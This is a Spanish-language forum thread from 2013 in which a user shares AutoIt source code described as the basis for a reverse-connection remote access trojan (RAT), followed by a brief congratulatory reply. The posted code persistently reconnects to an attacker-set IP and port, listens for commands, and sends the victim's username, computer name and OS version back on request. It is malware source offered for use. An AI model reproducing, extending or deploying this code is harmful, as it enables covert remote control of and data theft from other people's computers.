[RAT] Lo basico para empezar un RAT en AUTOIT

Iniciado por 79137913, Diciembre 02, 2013, 11:29:55 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Diciembre 02, 2013, 11:29:55 AM Ultima modificación: Diciembre 02, 2013, 12:35:16 PM por 79137913
HOLA!!!

Estuve Jugando un poco con Autoit los ultimos dias.

Este es un ejemplo que hice de Base para RAT de coneccion inversa (codigo del Server)


Código: autoit
#include <Array.au3>
Global $Socket
Global $Recibe
While 1 ;Reconeccion
   _Conectar()
   TCPSend ($Socket,"Hola")
   While 1 ; Recibir y ejecutar
  $Recibe =""
  While $Recibe = ""
$Recibe=TCPRecv($Socket,10000000)
Sleep (100)
  WEnd
  $Dat = StringSplit($Recibe,"|||")
  Select
  case $Dat[1] = "GiveMeData"
TCPSend ($Socket,"MYDATA|||" & @UserName & "|||" & @ComputerName & "|||" & @OSVersion)
  EndSelect
   WEnd
WEnd

Func _Conectar()
   While TCPStartup()=0
  sleep (10)
   WEnd
   While True
  $Socket=TCPConnect ($IP,$PORT)
  If $Socket>0 Then
ExitLoop
  EndIf
  Sleep(1000)
   WEnd   
EndFunc


GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Diciembre 02, 2013, 11:37:43 AM #1 Ultima modificación: Diciembre 02, 2013, 11:48:02 AM por 79137913
Brillante 79137913!
Felicitaciones!